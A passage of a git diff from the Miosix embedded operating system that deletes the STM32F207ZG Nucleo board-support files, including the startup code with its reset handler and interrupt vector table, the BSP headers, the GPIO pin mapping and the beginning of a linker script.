__disable_irq(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - #ifndef __CODE_IN_XRAM - memcpy(data, etext, edata-data); - #else //__CODE_IN_XRAM - (void)etext; //Avoid unused variable warning - (void)data; - (void)edata; - #endif //__CODE_IN_XRAM - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - #ifdef __CODE_IN_XRAM - /** - * Before calling the initalization code, set the stack pointer to the - * required value. At first it might seem redundant setting the stack - * pointer since the hardware should take care of this, but there is a - * corner case in which it is not set properly: - * 1) A debugger like openocd is used to run the code - * 2) Debugged code is run from external RAM - * In this case, in FLASH starting from 0x00000000 there is a bootloader - * that forwards interrupt vectors to their address in external RAM - * at address 0x64000000. The bootloader can also be used to load the code - * but this is uninteresting here. The problem is that the bootloader uses - * the internal RAM for its stack, so @ 0x00000000 there is the value - * 0x20000000 (top of internal RAM). When a debugger like openocd loads the - * debuged code in external RAM starting from 0x64000000 it mimics the - * harware behaviour of setting the stack pointer. But it loads the value at - * 0x00000000, not the value at 0x64000000. Therefore the stack pointer - * is set to the stak used by the bootloader (top of INTERNAL RAM) instead - * of the stack of the debugged code (top of EXTERNAL RAM). - * Since this quirk happens only when running code from external RAM, the - * fix is enclosed in an #ifdef __CODE_IN_XRAM - */ - asm volatile("ldr sp, =_main_stack_top\n\t"); - #endif //__CODE_IN_XRAM - - /* - * SystemInit() is called *before* initializing .data and zeroing .bss - * Despite all startup files provided by ST do the opposite, there are three - * good reasons to do so: - * First, the CMSIS specifications say that SystemInit() must not access - * global variables, so it is actually possible to call it before - * Second, when running Miosix with the xram linker scripts .data and .bss - * are placed in the external RAM, so we *must* call SystemInit(), which - * enables xram, before touching .data and .bss - * Third, this is a performance improvement since the loops that initialize - * .data and zeros .bss now run with the CPU at full speed instead of 16MHz - * Note that it is called before switching stacks because the memory - * at _heap_end can be unavailable until the external RAM is initialized. - */ - SystemInit(); - - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 14d8a4c79..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#define STM32F207xx -#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" -#include "CMSIS/Include/core_cm3.h" -#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index 11c980108..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,148 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012, 2013, 2014 by Terraneo Federico * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "drivers/dcc.h" -#include "board_settings.h" -#include "hwmapping.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios exposed by the LQFP144 package - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | - RCC_AHB1ENR_GPIOGEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOF->OSPEEDR=0xaaaaaaaa; - GPIOG->OSPEEDR=0xaaaaaaaa; - led1::mode(Mode::OUTPUT); - led2::mode(Mode::OUTPUT); - led3::mode(Mode::OUTPUT); - btn::mode(Mode::INPUT); - ledOn(); - delayMs(100); - ledOff(); - auto pin_tx=serial::tx::getPin(); pin_tx.alternateFunction(7); - auto pin_rx=serial::rx::getPin(); pin_rx.alternateFunction(7); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(3,defaultSerialSpeed,pin_tx,pin_rx))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index 87c3bc664..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,76 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" -#include "drivers/stm32_hardware_rng.h" -#include "hwmapping.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -inline void ledOn() -{ - led1::high(); -} - -inline void ledOff() -{ - led1::low(); -} - -/** - * Polls the SD card sense GPIO - * \return true if there is an uSD card in the socket. - * \note Always returns true for this board because there is no built-in SD card - * socket. - */ -inline bool sdCardSense() -{ - return true; -} - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/hwmapping.h b/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/hwmapping.h deleted file mode 100644 index 261d99f50..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/interfaces-impl/hwmapping.h +++ /dev/null @@ -1,198 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012 by Terraneo Federico * - * Copyright (C) 2023 by Daniele Cattaneo * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#ifndef HWMAPPING_H -#define HWMAPPING_H - -#include "interfaces/gpio.h" - -namespace miosix { - -//LEDs -typedef Gpio led1; -typedef Gpio led2; -typedef Gpio led3; - -//User button -typedef Gpio btn; - -//Serial port -namespace serial { -typedef Gpio tx; -typedef Gpio rx; -} - -//MicroSD card slot exposed on ST Zio connector -namespace sdio { -typedef Gpio d0; -typedef Gpio d1; -typedef Gpio d2; -typedef Gpio d3; -typedef Gpio ck; -typedef Gpio cmd; -} - -//USB OTG A/B port -namespace usb { -typedef Gpio vbus; -typedef Gpio id; -typedef Gpio dm; -typedef Gpio dp; -typedef Gpio on; -} - -//Gpios that connect the ethernet transceiver to the microcontroller -namespace rmii { -typedef Gpio txen; -typedef Gpio txd0; -typedef Gpio txd1; -typedef Gpio rxd0; -typedef Gpio rxd1; -typedef Gpio crsdv; -typedef Gpio mdc; -typedef Gpio mdio; -typedef Gpio refclk; -} - -//32kHz clock pins used by the RTC -namespace rtc { -typedef Gpio osc32in; -typedef Gpio osc32out; -} - -//SWD lines -namespace swd { -typedef Gpio swo; -typedef Gpio tms; -typedef Gpio tck; -} - -//Free pins -namespace unused { -typedef Gpio pa0; -typedef Gpio pa3; -typedef Gpio pa4; -typedef Gpio pa5; -typedef Gpio pa6; -typedef Gpio pa8; -typedef Gpio pa15; -typedef Gpio pb1; -typedef Gpio pb2; //BOOT1 -typedef Gpio pb4; -typedef Gpio pb5; -typedef Gpio pb6; -typedef Gpio pb8; -typedef Gpio pb9; -typedef Gpio pb10; -typedef Gpio pb11; -typedef Gpio pb12; -typedef Gpio pb15; -typedef Gpio pc0; -typedef Gpio pc2; -typedef Gpio pc3; -typedef Gpio pc6; -typedef Gpio pc7; -typedef Gpio pd0; -typedef Gpio pd1; -typedef Gpio pd3; -typedef Gpio pd4; -typedef Gpio pd5; -typedef Gpio pd6; -typedef Gpio pd7; -typedef Gpio pd10; -typedef Gpio pd11; -typedef Gpio pd12; -typedef Gpio pd13; -typedef Gpio pd14; -typedef Gpio pd15; -typedef Gpio pe0; -typedef Gpio pe1; -typedef Gpio pe2; -typedef Gpio pe3; -typedef Gpio pe4; -typedef Gpio pe5; -typedef Gpio pe6; -typedef Gpio pe7; -typedef Gpio pe8; -typedef Gpio pe9; -typedef Gpio pe10; -typedef Gpio pe11; -typedef Gpio pe12; -typedef Gpio pe13; -typedef Gpio pe14; -typedef Gpio pe15; -typedef Gpio pf0; //PH0 -typedef Gpio pf1; //PH1 -typedef Gpio pf2; -typedef Gpio pf3; -typedef Gpio pf4; -typedef Gpio pf5; -typedef Gpio pf6; -typedef Gpio pf7; -typedef Gpio pf8; -typedef Gpio pf9; -typedef Gpio pf10; -typedef Gpio pf11; -typedef Gpio pf12; -typedef Gpio pf13; -typedef Gpio pf14; -typedef Gpio pf15; -typedef Gpio pg0; -typedef Gpio pg1; -typedef Gpio pg2; -typedef Gpio pg3; -typedef Gpio pg4; -typedef Gpio pg5; -typedef Gpio pg7; -typedef Gpio pg8; -typedef Gpio pg9; -typedef Gpio pg10; -typedef Gpio pg12; -typedef Gpio pg14; -typedef Gpio pg15; -typedef Gpio ph0; -typedef Gpio ph1; -typedef Gpio ph2; -typedef Gpio ph3; -typedef Gpio ph4; -typedef Gpio ph5; -typedef Gpio ph6; -typedef Gpio ph7; -typedef Gpio ph8; -typedef Gpio ph9; -typedef Gpio ph10; -typedef Gpio ph11; -typedef Gpio ph12; -typedef Gpio ph13; -typedef Gpio ph14; -typedef Gpio ph15; -} - -} //namespace miosix - -#endif //HWMAPPING_H diff --git a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/stm32_1m+128k_rom.ld b/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/stm32_1m+128k_rom.ld deleted file mode 100644 index e72e7644e..000000000 --- a/miosix/arch/cortexM3_stm32f2/stm32f207zg_nucleo/stm32_1m+128k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of 